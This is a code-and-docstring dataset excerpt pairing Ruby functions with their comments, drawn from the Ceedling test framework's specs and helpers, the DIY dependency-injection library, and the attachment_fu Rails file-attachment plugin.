code
stringlengths 26
124k
| docstring
stringlengths 23
125k
| func_name
stringlengths 1
98
| language
stringclasses 1
value | repo
stringlengths 5
53
| path
stringlengths 7
151
| url
stringlengths 50
211
| license
stringclasses 7
values |
---|---|---|---|---|---|---|---|
def process_output(context, test, output, hash)
# Store warning message
hash[context] = {} if hash[context].nil?
hash[context][test] = output
end
|
Store raw output messages to hash in thread-safe manner
|
process_output
|
ruby
|
ThrowTheSwitch/Ceedling
|
plugins/report_tests_raw_output_log/lib/report_tests_raw_output_log.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/plugins/report_tests_raw_output_log/lib/report_tests_raw_output_log.rb
|
MIT
|
def context_exec(cmd, *args)
with_context do
`#{args.unshift(cmd).join(" ")}`
end
end
|
Does a few things:
- Configures the environment.
- Runs the command from the temporary context directory.
- Restores everything to where it was when finished.
|
context_exec
|
ruby
|
ThrowTheSwitch/Ceedling
|
spec/spec_system_helper.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/spec/spec_system_helper.rb
|
MIT
|
def backup_env
@_env = ENV.to_hash
end
|
###########################################################
Functions for manipulating environment settings during tests:
|
backup_env
|
ruby
|
ThrowTheSwitch/Ceedling
|
spec/spec_system_helper.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/spec/spec_system_helper.rb
|
MIT
|
def merge_project_yml_for_test(settings, show_final=false)
yaml_wrapper = YamlWrapper.new
project_hash = yaml_wrapper.load('project.yml')
project_hash.deep_merge!(settings)
puts "\n\n#{project_hash.to_yaml}\n\n" if show_final
yaml_wrapper.dump('project.yml', project_hash)
end
|
###########################################################
Functions for manipulating project.yml files during tests:
|
merge_project_yml_for_test
|
ruby
|
ThrowTheSwitch/Ceedling
|
spec/spec_system_helper.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/spec/spec_system_helper.rb
|
MIT
|
def can_test_projects_unity_parameterized_test_cases_with_preprocessor_with_success
@c.with_context do
Dir.chdir @proj_name do
FileUtils.cp test_asset_path("test_example_with_parameterized_tests.c"), 'test/'
settings = { :project => { :use_test_preprocessor => :all, :use_deep_preprocessor => :mocks },
:unity => { :use_param_tests => true }
}
@c.merge_project_yml_for_test(settings)
output = `bundle exec ruby -S ceedling 2>&1`
expect($?.exitstatus).to match(0) # Since a test either pass or are ignored, we return success here
expect(output).to match(/TESTED:\s+\d/)
expect(output).to match(/PASSED:\s+\d/)
expect(output).to match(/FAILED:\s+\d/)
expect(output).to match(/IGNORED:\s+\d/)
end
end
end
|
NOTE: This is not supported in this release, therefore is not getting called.
|
can_test_projects_unity_parameterized_test_cases_with_preprocessor_with_success
|
ruby
|
ThrowTheSwitch/Ceedling
|
spec/spec_system_helper.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/spec/spec_system_helper.rb
|
MIT
|
def can_test_projects_with_gcov_with_compile_error
@c.with_context do
Dir.chdir @proj_name do
prep_project_yml_for_coverage
FileUtils.cp test_asset_path("example_file.h"), 'src/'
FileUtils.cp test_asset_path("example_file.c"), 'src/'
FileUtils.cp test_asset_path("test_example_file_boom.c"), 'test/'
output = `bundle exec ruby -S ceedling gcov:all 2>&1`
expect($?.exitstatus).to match(1) # Since a test explodes, Ceedling exits with error
expect(output).to match(/(?:ERROR: Ceedling Failed)|(?:Ceedling could not complete operations because of errors)/)
end
end
end
|
TODO: Restore this test when the :abort_on_uncovered option is restored in the Gcov plugin
def can_test_projects_with_gcov_with_fail_because_of_uncovered_files
@c.with_context do
Dir.chdir @proj_name do
prep_project_yml_for_coverage
add_gcov_option("abort_on_uncovered", "TRUE")
FileUtils.cp test_asset_path("example_file.h"), 'src/'
FileUtils.cp test_asset_path("example_file.c"), 'src/'
FileUtils.cp test_asset_path("uncovered_example_file.c"), 'src/'
FileUtils.cp test_asset_path("test_example_file_success.c"), 'test/'
output = `bundle exec ruby -S ceedling gcov:all 2>&1`
expect($?.exitstatus).to match(1) # Gcov causes Ceedlng to exit with error
expect(output).to match(/TESTED:\s+\d/)
expect(output).to match(/PASSED:\s+\d/)
expect(output).to match(/FAILED:\s+\d/)
expect(output).to match(/IGNORED:\s+\d/)
end
end
end
TODO: Restore this test when the :abort_on_uncovered option is restored in the Gcov plugin
def can_test_projects_with_gcov_with_success_because_of_ignore_uncovered_list
@c.with_context do
Dir.chdir @proj_name do
prep_project_yml_for_coverage
add_gcov_option("abort_on_uncovered", "TRUE")
add_gcov_section("uncovered_ignore_list", ["src/foo_file.c"])
FileUtils.cp test_asset_path("example_file.h"), "src/"
FileUtils.cp test_asset_path("example_file.c"), "src/"
# "src/foo_file.c" is in the ignore uncovered list
FileUtils.cp test_asset_path("uncovered_example_file.c"), "src/foo_file.c"
FileUtils.cp test_asset_path("test_example_file_success.c"), "test/"
output = `bundle exec ruby -S ceedling gcov:all 2>&1`
expect($?.exitstatus).to match(0)
expect(output).to match(/TESTED:\s+\d/)
expect(output).to match(/PASSED:\s+\d/)
expect(output).to match(/FAILED:\s+\d/)
expect(output).to match(/IGNORED:\s+\d/)
end
end
end
TODO: Restore this test when the :abort_on_uncovered option is restored in the Gcov plugin
def can_test_projects_with_gcov_with_success_because_of_ignore_uncovered_list_with_globs
@c.with_context do
Dir.chdir @proj_name do
prep_project_yml_for_coverage
add_gcov_option("abort_on_uncovered", "TRUE")
add_gcov_section("uncovered_ignore_list", ["src/B/**"])
FileUtils.mkdir_p(["src/A", "src/B/C"])
FileUtils.cp test_asset_path("example_file.h"), "src/A"
FileUtils.cp test_asset_path("example_file.c"), "src/A"
# "src/B/**" is in the ignore uncovered list
FileUtils.cp test_asset_path("uncovered_example_file.c"), "src/B/C/foo_file.c"
FileUtils.cp test_asset_path("test_example_file_success.c"), "test/"
output = `bundle exec ruby -S ceedling gcov:all 2>&1`
expect($?.exitstatus).to match(1) # Unit test failures => Ceedling exit code 1
expect(output).to match(/TESTED:\s+\d/)
expect(output).to match(/PASSED:\s+\d/)
expect(output).to match(/FAILED:\s+\d/)
expect(output).to match(/IGNORED:\s+\d/)
end
end
end
|
can_test_projects_with_gcov_with_compile_error
|
ruby
|
ThrowTheSwitch/Ceedling
|
spec/gcov/gcov_test_cases_spec.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/spec/gcov/gcov_test_cases_spec.rb
|
MIT
|
def initialize(context_hash, extra_inputs={})
raise "Nil context hash" unless context_hash
raise "Need a hash" unless context_hash.kind_of?(Hash)
[ "[]", "keys" ].each do |mname|
unless extra_inputs.respond_to?(mname)
raise "Extra inputs must respond to hash-like [] operator and methods #keys and #each"
end
end
# store extra inputs
if extra_inputs.kind_of?(Hash)
@extra_inputs= {}
extra_inputs.each { |k,v| @extra_inputs[k.to_s] = v } # smooth out the names
else
@extra_inputs = extra_inputs
end
collect_object_and_subcontext_defs context_hash
# init the cache
@cache = {}
@cache['this_context'] = self
end
|
Accepts a Hash defining the object context (usually loaded from objects.yml), and an additional
Hash containing objects to inject into the context.
|
initialize
|
ruby
|
ThrowTheSwitch/Ceedling
|
vendor/diy/lib/diy.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/vendor/diy/lib/diy.rb
|
MIT
|
def get_object(obj_name)
key = obj_name.to_s
obj = @cache[key]
unless obj
if extra_inputs_has(key)
obj = @extra_inputs[key]
else
case @defs[key]
when MethodDef
obj = construct_method(key)
when FactoryDef
obj = construct_factory(key)
@cache[key] = obj
else
obj = construct_object(key)
@cache[key] = obj if @defs[key].singleton?
end
end
end
obj
end
|
Return a reference to the object named. If necessary, the object will
be instantiated on first use. If the object is non-singleton, a new
object will be produced each time.
|
get_object
|
ruby
|
ThrowTheSwitch/Ceedling
|
vendor/diy/lib/diy.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/vendor/diy/lib/diy.rb
|
MIT
|
def set_object(obj_name,obj)
key = obj_name.to_s
raise "object '#{key}' already exists in context" if @cache.keys.include?(key)
@cache[key] = obj
end
|
Inject a named object into the Context. This must be done before the Context has instantiated the
object in question.
|
set_object
|
ruby
|
ThrowTheSwitch/Ceedling
|
vendor/diy/lib/diy.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/vendor/diy/lib/diy.rb
|
MIT
|
def within(sub_context_name)
# Find the subcontext definitaion:
context_def = @sub_context_defs[sub_context_name.to_s]
raise "No sub-context named #{sub_context_name}" unless context_def
# Instantiate a new context using self as parent:
context = Context.new( context_def, self )
yield context
end
|
Instantiate and yield the named subcontext
|
within
|
ruby
|
ThrowTheSwitch/Ceedling
|
vendor/diy/lib/diy.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/vendor/diy/lib/diy.rb
|
MIT
|
def contains_object(obj_name)
key = obj_name.to_s
@defs.keys.member?(key) or extra_inputs_has(key)
end
|
Returns true if the context contains an object with the given name
|
contains_object
|
ruby
|
ThrowTheSwitch/Ceedling
|
vendor/diy/lib/diy.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/vendor/diy/lib/diy.rb
|
MIT
|
def build_everything
@defs.keys.each { |k| self[k] }
end
|
Every top level object in the Context is instantiated. This is especially useful for
systems that have "floating observers"... objects that are never directly accessed, who
would thus never be instantiated by coincedence. This does not build any subcontexts
that may exist.
|
build_everything
|
ruby
|
ThrowTheSwitch/Ceedling
|
vendor/diy/lib/diy.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/vendor/diy/lib/diy.rb
|
MIT
|
def test_this_context
load_context 'horse/objects.yml'
assert_same @diy, @diy['this_context'], "basic self-reference failed"
assert_same @diy, @diy['holder_thing'].thing_held, "composition self-reference failed"
end
|
See that the current object factory context can be referenced within the yaml
|
test_this_context
|
ruby
|
ThrowTheSwitch/Ceedling
|
vendor/diy/test/diy_test.rb
|
https://github.com/ThrowTheSwitch/Ceedling/blob/master/vendor/diy/test/diy_test.rb
|
MIT
|
def make_tmpname(basename, n)
ext = nil
sprintf("%s%d-%d%s", basename.to_s.gsub(/\.\w+$/) { |s| ext = s; '' }, $$, n, ext)
end
|
overwrite so tempfiles use the extension of the basename. important for rmagick and image science
|
make_tmpname
|
ruby
|
technoweenie/attachment_fu
|
init.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/init.rb
|
MIT
|
def new_dimensions_for(orig_width, orig_height)
new_width = orig_width
new_height = orig_height
case @flag
when :percent
scale_x = @width.zero? ? 100 : @width
scale_y = @height.zero? ? @width : @height
new_width = scale_x.to_f * (orig_width.to_f / 100.0)
new_height = scale_y.to_f * (orig_height.to_f / 100.0)
when :<, :>, nil
scale_factor =
if new_width.zero? || new_height.zero?
1.0
else
if @width.nonzero? && @height.nonzero?
[@width.to_f / new_width.to_f, @height.to_f / new_height.to_f].min
else
@width.nonzero? ? (@width.to_f / new_width.to_f) : (@height.to_f / new_height.to_f)
end
end
new_width = scale_factor * new_width.to_f
new_height = scale_factor * new_height.to_f
new_width = orig_width if @flag && orig_width.send(@flag, new_width)
new_height = orig_height if @flag && orig_height.send(@flag, new_height)
end
[new_width, new_height].collect! { |v| [v.round, 1].max }
end
|
attempts to get new dimensions for the current geometry string given these old dimensions.
This doesn't implement the aspect flag (!) or the area flag (@). PDI
|
new_dimensions_for
|
ruby
|
technoweenie/attachment_fu
|
lib/geometry.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/geometry.rb
|
MIT
|
def has_attachment(options = {})
# this allows you to redefine the acts' options for each subclass, however
options[:min_size] ||= 1
options[:max_size] ||= 1.megabyte
options[:size] ||= (options[:min_size]..options[:max_size])
options[:thumbnails] ||= {}
options[:thumbnail_class] ||= self
options[:s3_access] ||= :public_read
options[:cloudfront] ||= false
options[:content_type] = [options[:content_type]].flatten.collect! { |t| t == :image ? Technoweenie::AttachmentFu.content_types : t }.flatten unless options[:content_type].nil?
unless options[:thumbnails].is_a?(Hash)
raise ArgumentError, ":thumbnails option should be a hash: e.g. :thumbnails => { :foo => '50x50' }"
end
extend ClassMethods unless (class << self; included_modules; end).include?(ClassMethods)
include InstanceMethods unless included_modules.include?(InstanceMethods)
parent_options = attachment_options || {}
# doing these shenanigans so that #attachment_options is available to processors and backends
self.attachment_options = options
attr_accessor :thumbnail_resize_options
attachment_options[:storage] ||= (attachment_options[:file_system_path] || attachment_options[:path_prefix]) ? :file_system : :db_file
attachment_options[:storage] ||= parent_options[:storage]
attachment_options[:path_prefix] ||= attachment_options[:file_system_path]
if attachment_options[:path_prefix].nil?
attachment_options[:path_prefix] = case attachment_options[:storage]
when :s3 then table_name
when :cloud_files then table_name
else File.join("public", table_name)
end
end
attachment_options[:path_prefix] = attachment_options[:path_prefix][1..-1] if options[:path_prefix].first == '/'
association_options = { :foreign_key => 'parent_id' }
if attachment_options[:association_options]
association_options.merge!(attachment_options[:association_options])
end
with_options(association_options) do |m|
m.has_many :thumbnails, :class_name => "::#{attachment_options[:thumbnail_class]}"
m.belongs_to :parent, :class_name => "::#{base_class}" unless options[:thumbnails].empty?
end
storage_mod = Technoweenie::AttachmentFu::Backends.const_get("#{options[:storage].to_s.classify}Backend")
include storage_mod unless included_modules.include?(storage_mod)
case attachment_options[:processor]
when :none, nil
processors = Technoweenie::AttachmentFu.default_processors.dup
begin
if processors.any?
attachment_options[:processor] = processors.first
processor_mod = Technoweenie::AttachmentFu::Processors.const_get("#{attachment_options[:processor].to_s.classify}Processor")
include processor_mod unless included_modules.include?(processor_mod)
end
rescue Object, Exception
raise unless load_related_exception?($!)
processors.shift
retry
end
else
begin
processor_mod = Technoweenie::AttachmentFu::Processors.const_get("#{attachment_options[:processor].to_s.classify}Processor")
include processor_mod unless included_modules.include?(processor_mod)
rescue Object, Exception
raise unless load_related_exception?($!)
puts "Problems loading #{options[:processor]}Processor: #{$!}"
end
end unless parent_options[:processor] # Don't let child override processor
end
|
Options:
* <tt>:content_type</tt> - Allowed content types. Allows all by default. Use :image to allow all standard image types.
* <tt>:min_size</tt> - Minimum size allowed. 1 byte is the default.
* <tt>:max_size</tt> - Maximum size allowed. 1.megabyte is the default.
* <tt>:size</tt> - Range of sizes allowed. (1..1.megabyte) is the default. This overrides the :min_size and :max_size options.
* <tt>:resize_to</tt> - Used by RMagick to resize images. Pass either an array of width/height, or a geometry string.
* <tt>:thumbnails</tt> - Specifies a set of thumbnails to generate. This accepts a hash of filename suffixes and RMagick resizing options.
* <tt>:thumbnail_class</tt> - Set what class to use for thumbnails. This attachment class is used by default.
* <tt>:path_prefix</tt> - path to store the uploaded files. Uses public/#{table_name} by default for the filesystem, and just #{table_name}
for the S3 backend. Setting this sets the :storage to :file_system.
* <tt>:storage</tt> - Use :file_system to specify the attachment data is stored with the file system. Defaults to :db_system.
* <tt>:cloundfront</tt> - Set to true if you are using S3 storage and want to serve the files through CloudFront. You will need to
set a distribution domain in the amazon_s3.yml config file. Defaults to false
* <tt>:bucket_key</tt> - Use this to specify a different bucket key other than :bucket_name in the amazon_s3.yml file. This allows you to use
different buckets for different models. An example setting would be :image_bucket and the you would need to define the name of the corresponding
bucket in the amazon_s3.yml file.
* <tt>:keep_profile</tt> By default image EXIF data will be stripped to minimize image size. For small thumbnails this proivides important savings. Picture quality is not affected. Set to false if you want to keep the image profile as is. ImageScience will allways keep EXIF data.
Examples:
has_attachment :max_size => 1.kilobyte
has_attachment :size => 1.megabyte..2.megabytes
has_attachment :content_type => 'application/pdf'
has_attachment :content_type => ['application/pdf', 'application/msword', 'text/plain']
has_attachment :content_type => :image, :resize_to => [50,50]
has_attachment :content_type => ['application/pdf', :image], :resize_to => 'x50'
has_attachment :thumbnails => { :thumb => [50, 50], :geometry => 'x50' }
has_attachment :storage => :file_system, :path_prefix => 'public/files'
has_attachment :storage => :file_system, :path_prefix => 'public/files',
:content_type => :image, :resize_to => [50,50]
has_attachment :storage => :file_system, :path_prefix => 'public/files',
:thumbnails => { :thumb => [50, 50], :geometry => 'x50' }
has_attachment :storage => :s3
|
has_attachment
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def validates_as_attachment
validates_presence_of :size, :content_type, :filename
validate :attachment_attributes_valid?
end
|
Performs common validations for attachment models.
|
validates_as_attachment
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def after_resize(&block)
write_inheritable_array(:after_resize, [block])
end
|
Callback after an image has been resized.
class Foo < ActiveRecord::Base
acts_as_attachment
after_resize do |record, img|
record.aspect_ratio = img.columns.to_f / img.rows.to_f
end
end
|
after_resize
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def after_attachment_saved(&block)
write_inheritable_array(:after_attachment_saved, [block])
end
|
Callback after an attachment has been saved either to the file system or the DB.
Only called if the file has been changed, not necessarily if the record is updated.
class Foo < ActiveRecord::Base
acts_as_attachment
after_attachment_saved do |record|
...
end
end
|
after_attachment_saved
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def before_thumbnail_saved(&block)
write_inheritable_array(:before_thumbnail_saved, [block])
end
|
Callback before a thumbnail is saved. Use this to pass any necessary extra attributes that may be required.
class Foo < ActiveRecord::Base
acts_as_attachment
before_thumbnail_saved do |thumbnail|
record = thumbnail.parent
...
end
end
|
before_thumbnail_saved
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def thumbnail_class
attachment_options[:thumbnail_class] = attachment_options[:thumbnail_class].constantize unless attachment_options[:thumbnail_class].is_a?(Class)
attachment_options[:thumbnail_class]
end
|
Get the thumbnail class, which is the current attachment class by default.
Configure this with the :thumbnail_class option.
|
thumbnail_class
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def copy_to_temp_file(file, temp_base_name)
returning Tempfile.new(temp_base_name, Technoweenie::AttachmentFu.tempfile_path) do |tmp|
tmp.close
FileUtils.cp file, tmp.path
end
end
|
Copies the given file path to a new tempfile, returning the closed tempfile.
|
copy_to_temp_file
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def write_to_temp_file(data, temp_base_name)
returning Tempfile.new(temp_base_name, Technoweenie::AttachmentFu.tempfile_path) do |tmp|
tmp.binmode
tmp.write data
tmp.close
end
end
|
Writes the given data to a new tempfile, returning the closed tempfile.
|
write_to_temp_file
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def thumbnailable?
image? && respond_to?(:parent_id) && parent_id.nil?
end
|
Returns true/false if an attachment is thumbnailable. A thumbnailable attachment has an image content type and the parent_id attribute.
|
thumbnailable?
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def thumbnail_name_for(thumbnail = nil)
return filename if thumbnail.blank?
ext = nil
basename = filename.gsub /\.\w+$/ do |s|
ext = s; ''
end
# ImageScience doesn't create gif thumbnails, only pngs
ext.sub!(/gif$/, 'png') if attachment_options[:processor] == "ImageScience"
"#{basename}_#{thumbnail}#{ext}"
end
|
Gets the thumbnail name for a filename. 'foo.jpg' becomes 'foo_thumbnail.jpg'
|
thumbnail_name_for
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def create_or_update_thumbnail(temp_file, file_name_suffix, *size)
thumbnailable? || raise(ThumbnailError.new("Can't create a thumbnail if the content type is not an image or there is no parent_id column"))
returning find_or_initialize_thumbnail(file_name_suffix) do |thumb|
thumb.temp_paths.unshift temp_file
thumb.send(:'attributes=', {
:content_type => content_type,
:filename => thumbnail_name_for(file_name_suffix),
:thumbnail_resize_options => size
}, false)
callback_with_args :before_thumbnail_saved, thumb
thumb.save!
end
end
|
Creates or updates the thumbnail for the current attachment.
|
create_or_update_thumbnail
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def image_size
[width.to_s, height.to_s] * 'x'
end
|
Returns the width/height in a suitable format for the image_tag helper: (100x100)
|
image_size
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def temp_path
p = temp_paths.first
p.respond_to?(:path) ? p.path : p.to_s
end
|
Gets the latest temp path from the collection of temp paths. While working with an attachment,
multiple Tempfile objects may be created for various processing purposes (resizing, for example).
An array of all the tempfile objects is stored so that the Tempfile instance is held on to until
it's not needed anymore. The collection is cleared after saving the attachment.
|
temp_path
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def temp_paths
@temp_paths ||= (new_record? || !respond_to?(:full_filename) || !File.exist?(full_filename) ?
[] : [copy_to_temp_file(full_filename)])
end
|
Gets an array of the currently used temp paths. Defaults to a copy of #full_filename.
|
temp_paths
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def temp_data
save_attachment? ? File.read(temp_path) : nil
end
|
Gets the data from the latest temp file. This will read the file into memory.
|
temp_data
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def set_temp_data(data)
temp_paths.unshift write_to_temp_file data unless data.nil?
end
|
Writes the given data to a Tempfile and adds it to the collection of temp files.
|
set_temp_data
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def copy_to_temp_file(file)
self.class.copy_to_temp_file file, random_tempfile_filename
end
|
Copies the given file to a randomly named Tempfile.
|
copy_to_temp_file
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def write_to_temp_file(data)
self.class.write_to_temp_file data, random_tempfile_filename
end
|
Writes the given file to a randomly named Tempfile.
|
write_to_temp_file
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def with_image(&block)
self.class.with_image(temp_path, &block)
end
|
Allows you to work with a processed representation (RMagick, ImageScience, etc) of the attachment in a block.
@attachment.with_image do |img|
self.data = img.thumbnail(100, 100).to_blob
end
|
with_image
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def attachment_attributes_valid?
[:size, :content_type].each do |attr_name|
enum = attachment_options[attr_name]
if Object.const_defined?(:I18n) # Rails >= 2.2
errors.add attr_name, I18n.translate("activerecord.errors.messages.inclusion", attr_name => enum) unless enum.nil? || enum.include?(send(attr_name))
else
errors.add attr_name, ActiveRecord::Errors.default_error_messages[:inclusion] unless enum.nil? || enum.include?(send(attr_name))
end
end
end
|
validates the size and content_type attributes according to the current model's options
|
attachment_attributes_valid?
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def find_or_initialize_thumbnail(file_name_suffix)
respond_to?(:parent_id) ?
thumbnail_class.find_or_initialize_by_thumbnail_and_parent_id(file_name_suffix.to_s, id) :
thumbnail_class.find_or_initialize_by_thumbnail(file_name_suffix.to_s)
end
|
Initializes a new thumbnail with the given suffix.
|
find_or_initialize_thumbnail
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def after_process_attachment
if @saved_attachment
if respond_to?(:process_attachment_with_processing) && thumbnailable? && !attachment_options[:thumbnails].blank? && parent_id.nil?
temp_file = temp_path || create_temp_file
attachment_options[:thumbnails].each { |suffix, size| create_or_update_thumbnail(temp_file, suffix, *size) }
end
save_to_storage
@temp_paths.clear
@saved_attachment = nil
callback :after_attachment_saved
end
end
|
Cleans up after processing. Thumbnails are created, the attachment is stored to the backend, and the temp_paths are cleared.
|
after_process_attachment
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def resize_image_or_thumbnail!(img)
if (!respond_to?(:parent_id) || parent_id.nil?) && attachment_options[:resize_to] # parent image
resize_image(img, attachment_options[:resize_to])
elsif thumbnail_resize_options # thumbnail
resize_image(img, thumbnail_resize_options)
end
end
|
Resizes the given processed img object with either the attachment resize options or the thumbnail resize options.
|
resize_image_or_thumbnail!
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def destroy_thumbnails
self.thumbnails.each { |thumbnail| thumbnail.destroy } if thumbnailable?
end
|
Removes the thumbnails for the attachment, if it has any
|
destroy_thumbnails
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu.rb
|
MIT
|
def attachment_path_id
((respond_to?(:parent_id) && parent_id) || id).to_s
end
|
The attachment ID used in the full path of a file
|
attachment_path_id
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/cloud_file_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/cloud_file_backend.rb
|
MIT
|
def base_path
File.join(attachment_options[:path_prefix], attachment_path_id)
end
|
The pseudo hierarchy containing the file relative to the container name
Example: <tt>:table_name/:id</tt>
|
base_path
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/cloud_file_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/cloud_file_backend.rb
|
MIT
|
def full_filename(thumbnail = nil)
File.join(base_path, thumbnail_name_for(thumbnail))
end
|
The full path to the file relative to the container name
Example: <tt>:table_name/:id/:filename</tt>
|
full_filename
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/cloud_file_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/cloud_file_backend.rb
|
MIT
|
def cloudfiles_url(thumbnail = nil)
if @@container.public?
File.join(@@container.cdn_url, full_filename(thumbnail))
else
nil
end
end
|
All public objects are accessible via a GET request to the Cloud Files servers. You can generate a
url for an object using the cloudfiles_url method.
@photo.cloudfiles_url
The resulting url is in the CDN URL for the object
The optional thumbnail argument will output the thumbnail's filename (if any).
If you are trying to get the URL for a nonpublic container, nil will be returned.
|
cloudfiles_url
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/cloud_file_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/cloud_file_backend.rb
|
MIT
|
def create_temp_file
write_to_temp_file current_data
end
|
Creates a temp file with the current db data.
|
create_temp_file
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/db_file_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/db_file_backend.rb
|
MIT
|
def destroy_file
db_file.destroy if db_file
end
|
Destroys the file. Called in the after_destroy callback
|
destroy_file
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/db_file_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/db_file_backend.rb
|
MIT
|
def save_to_storage
if save_attachment?
(db_file || build_db_file).data = temp_data
db_file.save!
self.class.update_all ['db_file_id = ?', self.db_file_id = db_file.id], ['id = ?', id]
end
true
end
|
Saves the data to the DbFile model
|
save_to_storage
|
ruby
|
technoweenie/attachment_fu
|
lib/technoweenie/attachment_fu/backends/db_file_backend.rb
|
https://github.com/technoweenie/attachment_fu/blob/master/lib/technoweenie/attachment_fu/backends/db_file_backend.rb
|
MIT
|
def full_filename(thumbnail = nil)
file_system_path = (thumbnail ? thumbnail_class : self).attachment_options[:path_prefix].to_s
File.join(RAILS_ROOT, file_system_path, *partitioned_path(thumbnail_name_for(thumbnail)))
end
|
Gets the full path to the filename in this format:
# This assumes a model name like MyModel
# public/#{table_name} is the default filesystem path
